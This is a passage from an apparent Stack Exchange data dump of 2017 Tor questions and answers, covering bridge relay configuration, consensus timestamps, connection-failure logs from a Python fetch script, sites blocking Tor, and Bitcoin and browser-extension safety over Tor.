fact that&#xA;## it's an email address and/or generate a new address for this purpose.&#xA;#ContactInfo Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;## You might also include your PGP or GPG fingerprint if you have one:&#xA;#ContactInfo 0xFFFFFFFF Random Person &amp;lt;nobody AT example dot com&amp;gt;&#xA;&#xA;## Uncomment this to mirror directory information for others. Please do&#xA;## if you have enough bandwidth.&#xA;#DirPort 9030 # what port to advertise for directory connections&#xA;## If you want to listen on a port other than the one advertised in&#xA;## DirPort (e.g. to advertise 80 but bind to 9091), you can do it as&#xA;## follows.  below too. You'll need to do ipchains or other port&#xA;## forwarding yourself to make this work.&#xA;#DirPort 80 NoListen&#xA;#DirPort 127.0.0.1:9091 NoAdvertise&#xA;## Uncomment to return an arbitrary blob of html on your DirPort. Now you&#xA;## can explain what Tor is if anybody wonders why your IP address is&#xA;## contacting them. See contrib/tor-exit-notice.html in Tor's source&#xA;## distribution for a sample.&#xA;#DirPortFrontPage /etc/tor/tor-exit-notice.html&#xA;&#xA;## Uncomment this if you run more than one Tor relay, and add the identity&#xA;## key fingerprint of each Tor relay you control, even if they're on&#xA;## different networks. You declare it here so Tor clients can avoid&#xA;## using more than one of your relays in a single circuit. See&#xA;## https://www.torproject.org/docs/faq#MultipleRelays&#xA;## However, you should never include a bridge's fingerprint here, as it would&#xA;## break its concealability and potentionally reveal its IP/TCP address.&#xA;#MyFamily $keyid,$keyid,...&#xA;&#xA;## A comma-separated list of exit policies. They're considered first&#xA;## to last, and the first match wins. If you want to _replace_&#xA;## the default exit policy, end this with either a reject *:* or an&#xA;## accept *:*. Otherwise, you're _augmenting_ (prepending to) the&#xA;## default exit policy. Leave commented to just use the default, which is&#xA;## described in the man page or at&#xA;## https://www.torproject.org/documentation.html&#xA;##&#xA;## Look at https://www.torproject.org/faq-abuse.html#TypicalAbuses&#xA;## for issues you might encounter if you use the default exit policy.&#xA;##&#xA;## If certain IPs and ports are blocked externally, e.g. by your firewall,&#xA;## you should update your exit policy to reflect this -- otherwise Tor&#xA;## users will be told that those destinations are down.&#xA;##&#xA;## For security, by default Tor rejects connections to private (local)&#xA;## networks, including to your public IP address. See the man page entry&#xA;## for ExitPolicyRejectPrivate if you want to allow &quot;exit enclaving&quot;.&#xA;##&#xA;#ExitPolicy accept *:6660-6667,reject *:* # allow irc ports but no more&#xA;#ExitPolicy accept *:119 # accept nntp as well as default exit policy&#xA;ExitPolicy reject *:* # no exits allowed&#xA;&#xA;## Bridge relays (or &quot;bridges&quot;) are Tor relays that aren't listed in the&#xA;## main directory. Since there is no complete public list of them, even an&#xA;## ISP that filters connections to all the known Tor relays probably&#xA;## won't be able to block all the bridges. Also, websites won't treat you&#xA;## differently because they won't know you're running Tor. If you can&#xA;## be a real relay, please do; but if not, be a bridge!&#xA;BridgeRelay 1&#xA;## By default, Tor will advertise your bridge to users through various&#xA;## mechanisms like https://bridges.torproject.org/. If you want to run&#xA;## a private bridge, for example because you'll give out your bridge&#xA;## address manually to your friends, uncomment this line:&#xA;#PublishServerDescriptor 0&#xA;&#xA;# Riduce scrittura per SSD&#xA;AvoidDiskWrites 1&#xA;&#xA;# Per permettere ad arm di mostrare le connessioni&#xA;DisableDebuggerAttachment 0 &#xA;&#xA;# Configurazione Pluggable Transport&#xA;ServerTransportPlugin obfs4 exec /usr/bin/obfs4proxy&#xA;ExtORPort auto&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm behind NAT and so I forwarded for port 9001 and for obfs4 port (found it in notice.log file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT: My router model: &lt;a href=&quot;https://www.netgear.com/support/product/DG834Gv5.aspx&quot; rel=&quot;nofollow noreferrer&quot;&gt;DG834Gv5 – 54 Mbps Wireless ADSL Firewall Modem&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any suggestions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you very much!&lt;/p&gt;&#xA;" OwnerUserId="19143" LastEditorUserId="19143" LastEditDate="2017-09-16T07:31:26.987" LastActivityDate="2022-04-01T07:00:30.083" Title="Why is my guard failing a so large amount of circuit?" Tags="|bridge|obfs4proxy|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15729" PostTypeId="2" ParentId="15378" CreationDate="2017-09-16T08:53:16.333" Score="1" Body="&lt;p&gt;A node or onion router knows about other nodes what anybody can know. It's the public description of the network. It's the fingerprint, IP, exit policy and some configuration more, and the persistent public key. That's what it uses to encrypt data when sending it to the node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A node obviously know who is connecting to it from the outside. It can decrypt the information that is encrypted with it's own public key: That is where the node should pass on that data it received.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's as a result of the onion routing protocl, specified at &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://gitweb.torproject.org/torspec.git/&lt;/a&gt; and implemented in tor.&lt;/p&gt;&#xA;" OwnerUserId="19124" LastActivityDate="2017-09-16T08:53:16.333" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15730" PostTypeId="2" ParentId="15276" CreationDate="2017-09-16T08:59:18.810" Score="2" Body="&lt;p&gt;Like SuperSluether says, and as with any service you authenticate by logging in, your location isn't known to the service. You get location anonymity if you will.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On the other side of the connection, your local network, you get all benefits just like with any website or connection.&lt;/p&gt;&#xA;" OwnerUserId="19124" LastActivityDate="2017-09-16T08:59:18.810" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15731" PostTypeId="1" AcceptedAnswerId="15750" CreationDate="2017-09-16T18:41:51.363" Score="0" ViewCount="100" Body="&lt;p&gt;This is the header file retrieved from &lt;a href=&quot;http://86.59.21.38/tor/status-vote/current/consensus/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://86.59.21.38/tor/status-vote/current/consensus/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;network-status-version 3&#xA;vote-status consensus&#xA;consensus-method 26&#xA;valid-after 2017-09-16 18:00:00&#xA;fresh-until 2017-09-16 19:00:00&#xA;valid-until 2017-09-16 21:00:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I want to know what is Time zone of these timestamps&#xA;Are these UTC or any other timezone?&lt;/p&gt;&#xA;" OwnerUserId="18160" LastActivityDate="2017-09-18T20:48:14.763" Title="What timezone does Authority relays use?" Tags="|relays|time|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15739" PostTypeId="1" CreationDate="2017-09-17T21:49:36.713" Score="2" ViewCount="251" Body="&lt;p&gt;Protonmail.com says the following:&#xA;Note, you can also install Tor itself instead of Tor Browser, which will route all your traffic through Tor, not just your browsing activity. A guide for installing Tor can be found here.&quot;&#xA;Is this correct because I could not find it?&lt;/p&gt;&#xA;" OwnerUserId="19172" LastActivityDate="2017-09-19T00:22:41.430" Title="TOR download not Tor Browser" Tags="|tor-install|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15741" PostTypeId="2" ParentId="15739" CreationDate="2017-09-18T03:05:23.387" Score="1" Body="&lt;p&gt;It is correct but way too broad to be explained here. Please try installing Tor as a service on your OS and then ask a question specific to that. &lt;/p&gt;&#xA;" OwnerUserId="9508" LastActivityDate="2017-09-18T03:05:23.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15743" PostTypeId="1" CreationDate="2017-09-18T07:26:44.387" Score="0" ViewCount="288" Body="&lt;p&gt;as it is said in this article&#xA;&lt;a href=&quot;https://blog.torproject.org/facebook-hidden-services-and-https-certs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://blog.torproject.org/facebook-hidden-services-and-https-certs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;whatever it is you think Tor is for, I guarantee there's a person out&#xA;  there who uses it for something you haven't considered.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Users can navigate through normal internet by using Tor and also they can navigate through .onion pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a case which is not considered (mine).&#xA;I have a service in which users do not need to be anonymous at all, (though they can) because it is not required at any level ... but, indeed, it is required to hide the service, because competitors could take (dangerous) actions&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read people who think tor2web is not secure, OK!, it is not secure for users wanting security, but, if user level security is not required, relays could offer gateways services, don't you think ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then all use cases would be covered ... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you know a network, other than tor, that gives this kind of service tell me, i would appreciate it&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regards&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Sorry about my english)&lt;/p&gt;&#xA;" OwnerUserId="19174" LastActivityDate="2021-12-24T11:08:15.747" Title="Why not to add tor2web-like gateways to relays by default?" Tags="|onion-services|relays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15745" PostTypeId="1" CreationDate="2017-09-18T12:55:22.320" Score="1" ViewCount="3727" Body="&lt;p&gt;Getting error while sending multiple http requests through tor circuit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Sep 18 17:59:13.000 [notice] New control connection opened.&#xA;Sep 18 17:59:28.000 [warn] Destination '[scrubbed]' seems to be an invalid hostname. Failing.&#xA;Sep 18 18:00:15.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $5E56738E7F97AA81DEEF59AF28494293DFBFCCDF~Backplane at 172.98.193.43. Retrying on a new circuit.&#xA;Sep 18 18:00:31.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $B0279A521375F3CB2AE210BDBFC645FDD2E1973A~chulak at 176.126.252.11. Retrying on a new circuit.&#xA;Sep 18 18:01:39.000 [notice] We tried for 65 seconds to connect to '[scrubbed]' using exit $379FB450010D17078B3766C2273303C358C3A442~aurora at 176.126.252.12. Retrying on a new circuit.&#xA;Sep 18 18:01:39.000 [notice] Tried for 122 seconds to get a connection to [scrubbed]:80. Giving up.&#xA;Sep 18 18:01:40.000 [warn] Destination '[scrubbed]' seems to be an invalid hostname. Failing.&#xA;Sep 18 18:02:40.000 [notice] Tor has not observed any network activity for the past 127 seconds. Disabling circuit build timeout recording.&#xA;Sep 18 18:03:40.000 [notice] Tried for 120 seconds to get a connection to [scrubbed]:80. Giving up. (waiting for circuit)&#xA;Sep 18 18:03:54.000 [notice] Tor now sees network activity. Restoring circuit build timeout recording. Network was down for 200 seconds during 37 circuit attempts.&#xA;Sep 18 18:04:10.000 [warn] Destination '[scrubbed]' seems to be an invalid hostname. Failing.&#xA;Sep 18 18:04:49.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $F3B72E1EE437FE92EACF7E43D941D250290F2B71~bravopanchino at 192.195.80.10. Retrying on a new circuit.&#xA;Sep 18 18:05:04.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $162F7E752504C49A656FF1E9669E0B9572CE4870~Necto5 at 93.115.95.206. Retrying on a new circuit.&#xA;Sep 18 18:05:19.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $30C19B81981F450C402306E2E7CFB6C3F79CB6B2~Libero at 64.113.32.29. Retrying on a new circuit.&#xA;Sep 18 18:05:34.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $DAB96CEA61CC039A803217035293FAB32645FDDA~kree at 85.248.227.165. Retrying on a new circuit.&#xA;Sep 18 18:05:49.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $636E4E7D41530E064D61F57586F2F75F83271482~xerileez177 at 89.144.12.15. Retrying on a new circuit.&#xA;Sep 18 18:06:04.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $DA0FE8B5DD9717F52376F55885BC72E619ACD97D~heine at 51.15.53.83. Retrying on a new circuit.&#xA;Sep 18 18:06:19.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $7A3DD280EA4CD4DD16EF8C67B93D9BDE184D1A81~Quintex39 at 199.249.223.48. Retrying on a new circuit.&#xA;Sep 18 18:06:19.000 [notice] Tried for 125 seconds to get a connection to [scrubbed]:80. Giving up.&#xA;Sep 18 18:07:05.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $21954C79058F62F8A3C1EF5E5FC16657F924711C~OxylEta at 89.45.226.28. Retrying on a new circuit.&#xA;Sep 18 18:07:20.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $AD9B580836C9942317E9B7664EC7B39075DEBB5B~PiratenNDS3 at 46.165.223.217. Retrying on a new circuit.&#xA;Sep 18 18:07:35.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $BC630CBBB518BE7E9F4E09712AB0269E9DC7D626~IPredator at 197.231.221.211. Retrying on a new circuit.&#xA;Sep 18 18:07:50.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $5DC945CE8FB2A37E6E2795ECD2709BB21F8714B0~Unnamed at 207.244.70.35. Retrying on a new circuit.&#xA;Sep 18 18:08:05.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $B84F248233FEA90CAD439F292556A3139F6E1B82~tollana at 85.248.227.164. Retrying on a new circuit.&#xA;Sep 18 18:08:20.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $71AB4726D830FAE776D74AEF790CF04D8E0151B4~niftycottontail at 51.15.34.210. Retrying on a new circuit.&#xA;Sep 18 18:08:35.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $EC116BCB80565A408CE67F8EC3FE3B0B02C3A065~orion at 94.242.246.24. Retrying on a new circuit.&#xA;Sep 18 18:08:35.000 [notice] Tried for 125 seconds to get a connection to [scrubbed]:80. Giving up.&#xA;Sep 18 18:09:12.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $9C1E7D92115D431385B8CAEA6A7C15FB89CE236B~QuintexAirVPN21 at 199.249.224.40. Retrying on a new circuit.&#xA;Sep 18 18:09:27.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $CDA2EA326E2272C57ACB26773D7252C211795B78~niftygerbil at 51.15.70.226. Retrying on a new circuit.&#xA;Sep 18 18:09:42.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $734EDDC2C04B1C0184178167ABD23AE85413212F~torlesnet1 at 199.87.154.255. Retrying on a new circuit.&#xA;Sep 18 18:09:57.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $DAB96CEA61CC039A803217035293FAB32645FDDA~kree at 85.248.227.165. Retrying on a new circuit.&#xA;Sep 18 18:10:12.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $4198BD138E5E11B15B05C826B427148CED7D99FE~ParEpistemenTaksis at 163.172.101.137. Retrying on a new circuit.&#xA;Sep 18 18:10:27.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $734EDDC2C04B1C0184178167ABD23AE85413212F~torlesnet1 at 199.87.154.255. Retrying on a new circuit.&#xA;Sep 18 18:10:42.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $09FA8B4F665AD65D2C2A49870F1AA3BA8811E449~StanMarsh at 216.218.222.12. Retrying on a new circuit.&#xA;Sep 18 18:10:42.000 [notice] Tried for 125 seconds to get a connection to [scrubbed]:80. Giving up.&#xA;Sep 18 18:11:42.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $FDAED15C98CFE7A416E5676F614254F78406105C~dorrisdeebrown at 192.36.27.4. Retrying on a new circuit.&#xA;Sep 18 18:11:57.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $68E67F1ABC55915E796E7011C8867909E74E2890~warsaw at 145.239.29.201. Retrying on a new circuit.&#xA;Sep 18 18:12:12.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $12D17D9F9E30FA901DE68806950A0EA278716CED~AccessNow011 at 176.10.99.205. Retrying on a new circuit.&#xA;Sep 18 18:12:27.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $2C539063E38B8DA96DBE742682AAD23954CDB807~kljlkjjlklkjlk at 149.202.51.88. Retrying on a new circuit.&#xA;Sep 18 18:12:42.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $30C19B81981F450C402306E2E7CFB6C3F79CB6B2~Libero at 64.113.32.29. Retrying on a new circuit.&#xA;Sep 18 18:12:57.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $311A4533F7A2415F42346A6C8FA77E6FD279594C~DigiGesTor3e2 at 178.209.42.84. Retrying on a new circuit.&#xA;Sep 18 18:13:12.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $9AA3FF35E7A549D2337E962333D366E102FE4D50~DigiGesTor3e1 at 178.209.42.84. Retrying on a new circuit.&#xA;Sep 18 18:13:12.000 [notice] Tried for 125 seconds to get a connection to [scrubbed]:80. Giving up.&#xA;Sep 18 18:14:06.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $B771AA877687F88E6F1CA5354756DF6C8A7B6B24~niftypika at 163.172.140.123. Retrying on a new circuit.&#xA;Sep 18 18:14:21.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $335746A6DEB684FABDF3FC5835C3898F05C5A5A8~KyleBroflovski at 216.218.222.11. Retrying on a new circuit.&#xA;Sep 18 18:14:36.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $2C9C6E818CDEC876CF34627A034E7187084D8D6B~BabylonNetwork07 at 51.15.60.255. Retrying on a new circuit.&#xA;Sep 18 18:14:51.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $F6A358DD367B3282D6EF5824C9D45E1A19C7E815~prawksi at 192.160.102.168. Retrying on a new circuit.&#xA;Sep 18 18:15:08.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $1FEC860E59949E60D112FA26649CF0E32693FB4F~watchme at 163.172.212.115. Retrying on a new circuit.&#xA;Sep 18 18:15:23.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $74A19D86DDF63F1133B414B81F36E1F44640811F~Unnamed at 62.210.105.116. Retrying on a new circuit.&#xA;Sep 18 18:15:38.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $1388E7C77373197D4DB4CF406C0513D2D5847613~Andromeda1 at 195.123.212.118. Retrying on a new circuit.&#xA;Sep 18 18:15:38.000 [notice] Tried for 127 seconds to get a connection to [scrubbed]:80. Giving up.&#xA;Sep 18 18:16:30.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $5CECC5C30ACC4B3DE462792323967087CC53D947~PrivacyRepublic0001 at 178.32.181.96. Retrying on a new circuit.&#xA;Sep 18 18:16:46.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $DAA3D3F6FDA962885072537E3F315086B003A6E3~DC225TorExitNode at 46.101.139.248. Retrying on a new circuit.&#xA;Sep 18 18:17:04.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $B84F248233FEA90CAD439F292556A3139F6E1B82~tollana at 85.248.227.164. Retrying on a new circuit.&#xA;Sep 18 18:17:20.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $AFF2FC5C6F793B6E147EB93C1897D6DDA49E54FD~Wix at 5.196.66.162. Retrying on a new circuit.&#xA;Sep 18 18:17:37.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $5DC945CE8FB2A37E6E2795ECD2709BB21F8714B0~Unnamed at 207.244.70.35. Retrying on a new circuit.&#xA;Sep 18 18:17:54.000 [notice] We tried for 15 seconds to connect to '[scrubbed]' using exit $379FB450010D17078B3766C2273303C358C3A442~aurora at 176.126.252.12. Retrying on a new circuit.&#xA;Sep 18 18:17:54.000 [notice] Tried for 122 seconds to get a connection to [scrubbed]:80. Giving up.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Below is the code. I am sending DNS query first and then http request over a list of websites. What can be the issue here ?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;r = dns.resolver.Resolver()&#xA;r.nameservers = ['127.0.0.1']&#xA;r.port = 9053&#xA;&#xA;with open(&quot;testWeb.txt&quot;) as f:&#xA;    content = f.readlines()&#xA;urls = [x.strip() for x in content]&#xA;&#xA;&#xA;with Controller.from_port(port = 9051) as controller:&#xA;    controller.authenticate(password='')&#xA;    socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, &quot;127.0.0.1&quot;, 9050)&#xA;    temp = socket.socket&#xA;    socket.socket = socks.socksocket&#xA;&#xA;    for url in urls:&#xA;        try:&#xA;            answer_tor = r.query(url)&#xA;        except Exception as e:&#xA;            print &quot;Exception in website : &quot; + url + &quot; &quot; + e.message&#xA;&#xA;        try:&#xA;            req = &quot;GET / HTTP/1.1\r\nHost: &quot;+url+&quot;\r\nConnection: keep-alive\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Ubuntu Chromium/58.0.3029.110 Chrome/58.0.3029.110 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\r\nAccept-Language: en-US,en;q=0.8\r\n\r\n&quot;&#xA;            controller.authenticate(password='')                &#xA;            # http request to tor circuit IP&#xA;            Url = (str(answer_tor[0]), 80)&#xA;            d = socket.socket(socket.AF_INET, socket.SOCK_STREAM, proto=socket.IPPROTO_TCP)&#xA;            d.connect(Url)&#xA;            d.send(req)&#xA;            tor_response = str(d.recv(12288))&#xA;            d.close()&#xA;        except Exception as e:&#xA;            ExceptionHappenedWhileExperiment.append(&quot;Exception in website : &quot; + url + &quot; &quot; + e.message)&#xA;            print &quot;Exception in website : &quot; + url + &quot; &quot; + e.message&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19181" LastActivityDate="2017-09-18T12:55:22.320" Title="notice Tried for 122 seconds to get a connection to scrubbed:80. Giving up" Tags="|configuration|exit-relays|proxy|torsocks|connection|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="15749" PostTypeId="1" CreationDate="2017-09-18T19:14:30.383" Score="0" ViewCount="1863" Body="&lt;p&gt;I'm new to TOR. I downloaded TOR Bundle for Mac OS. My current version is 10.12.6. When I launch TOR it looks like Firefox but shows TOR Browser in the top line of the tab (menu line?). I have an American Express account and I can access it using Safari or Firefox. The URL I use to access my American Express account rejects me by saying: &quot;You don't have permission to access &quot;&lt;a href=&quot;http://online.americanexpress.com/myca/logon/us/action/LogLogonHandler&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://online.americanexpress.com/myca/logon/us/action/LogLogonHandler&lt;/a&gt;?&quot; on this server.  Reference #18.17dcf180.1505760563.19f6a98.&quot; I'm not sure why the error message does not show https and only http. The URL shows a secure https. What setting do I need to change to allow access? I need an answer suitable for a kindergartener. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="19185" LastActivityDate="2017-09-20T09:28:10.883" Title="Website Access Denied" Tags="|website|" AnswerCount="1" CommentCount="0" ClosedDate="2017-09-23T13:48:43.053" ContentLicense="CC BY-SA 3.0" />
  <row Id="15750" PostTypeId="2" ParentId="15731" CreationDate="2017-09-18T20:48:14.763" Score="0" Body="&lt;p&gt;The timezone is UTC.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all network services will use UTC for any time values used in the protocol. It's the industry standard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From &lt;a href=&quot;https://gitweb.torproject.org/torspec.git/tree/dir-spec.txt&quot; rel=&quot;nofollow noreferrer&quot;&gt;dir-spec.txt&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;3.4. Exchanging votes&#xA;&#xA;   Authorities divide time into Intervals.  Authority administrators SHOULD&#xA;   try to all pick the same interval length, and SHOULD pick intervals that&#xA;   are commonly used divisions of time (e.g., 5 minutes, 15 minutes, 30&#xA;   minutes, 60 minutes, 90 minutes).  Voting intervals SHOULD be chosen to&#xA;   divide evenly into a 24-hour day.&#xA;&#xA;   Authorities SHOULD act according to interval and delays in the&#xA;   latest consensus.  Lacking a latest consensus, they SHOULD default to a&#xA;   30-minute Interval, a 5 minute VotingDelay, and a 5 minute DistDelay.&#xA;&#xA;   Authorities MUST take pains to ensure that their clocks remain accurate&#xA;   within a few seconds.  (Running NTP is usually sufficient.)&#xA;&#xA;   The first voting period of each day begins at 00:00 (midnight) UTC.  If&#xA;   the last period of the day would be truncated by one-half or more, it is&#xA;   merged with the second-to-last period.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12737" LastActivityDate="2017-09-18T20:48:14.763" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15751" PostTypeId="2" ParentId="15739" CreationDate="2017-09-19T00:22:41.430" Score="0" Body="&lt;p&gt;The message on Proton Mail is misleading. Unless you go through some detailed setup instructions, installing Tor by itself will not automatically route all traffic through it. Tor is essentially a SOCKS5 proxy that you have to opt in to, which you can do at the operating system level, but it takes some serious configuration to do so without causing leaks, especially on Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you just want a secure connection to Proton Mail, Tor Browser should be more than sufficient. If you're paranoid and want OS-level Tor routing, don't do it yourself; use something like Tails, which has everything set up and locked down for you on a live CD.&lt;/p&gt;&#xA;" OwnerUserId="6820" LastActivityDate="2017-09-19T00:22:41.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15758" PostTypeId="2" ParentId="15749" CreationDate="2017-09-20T09:28:10.883" Score="0" Body="&lt;p&gt;americanexpress administrator set up the server to refuse all Tor IP addresses, so, it is not possible to login. their server refuse you as login as you use proxies. possibly their admin installed suricata on their server or similar software that can recognize tor IP address and block access. &lt;/p&gt;&#xA;" OwnerUserId="19203" LastActivityDate="2017-09-20T09:28:10.883" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15761" PostTypeId="1" CreationDate="2017-09-21T01:42:13.507" Score="4" ViewCount="673" Body="&lt;p&gt;Is it safe to make payments with BTC etc. over Tor?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is it safe to use web wallets (https)?&lt;/li&gt;&#xA;&lt;li&gt;Is it safe to use desktop wallets (Electrum)?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Could exit node operators steal my login credentials or my money?&lt;/p&gt;&#xA;" OwnerUserId="19210" LastEditorUserId="88" LastEditDate="2017-09-25T11:53:43.100" LastActivityDate="2017-10-25T12:44:00.730" Title="Is it save to use Bitcoin over Tor?" Tags="|security|bitcoin|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15765" PostTypeId="1" CreationDate="2017-09-21T13:36:40.437" Score="1" ViewCount="4596" Body="&lt;p&gt;When using a tor browser to connect to asstr.org an unexpected message shows in the browser:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Come visit us at &lt;a href=&quot;https://www.asstr.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.asstr.org/&lt;/a&gt; to read this story and hundreds of thousands of other works!&#xA;  Are you a tor user seeing this message by mistake? Take a look at &lt;a href=&quot;http://awe-kyle.ru/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://awe-kyle.ru/&lt;/a&gt; to see why. They ahve found a way touse tor to their commercial advantage.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How does this work, how can a regular website be hijacked through TOR ?&lt;/p&gt;&#xA;" OwnerUserId="19216" LastActivityDate="2019-08-12T16:07:54.360" Title="asstr.org being redirected (hijacked) to russian website awe-kyle.ru over TOR?" Tags="|security|relays|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15771" PostTypeId="2" ParentId="15653" CreationDate="2017-09-23T00:08:21.507" Score="1" Body="&lt;p&gt;You should not be installing &lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#TBBOtherExtensions&quot; rel=&quot;nofollow noreferrer&quot;&gt;extensions in the Tor Browser Bundle&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Some people have suggested we include ad-blocking software or&#xA;  anti-tracking software with Tor Browser. Right now, we do not think&#xA;  that's such a good idea. Tor Browser aims to provide sufficient&#xA;  privacy that additional add-ons to stop ads and trackers are not&#xA;  necessary.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Additionally it is possible to do fingerprinting using the extension's UUID:&#xA;&lt;a href=&quot;https://bugzilla.mozilla.org/show_bug.cgi?id=1372288&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://bugzilla.mozilla.org/show_bug.cgi?id=1372288&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Since Privacy Badger builds a dynamic block list over time, this is potentially unique enough for malicious scripts to fingerprint individual users.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Their security concern is on the way Privacy Badger builds it's list. PB's blocked list is not pre-installed, rather, generated as the user browses and PB learns what is tracking.&#xA;Because in Tor Browser you wouldn't save any of this, PB would never get to learn what to block. And that's a good thing for the TBB purposes, you don't want anything saving your browsing history in that 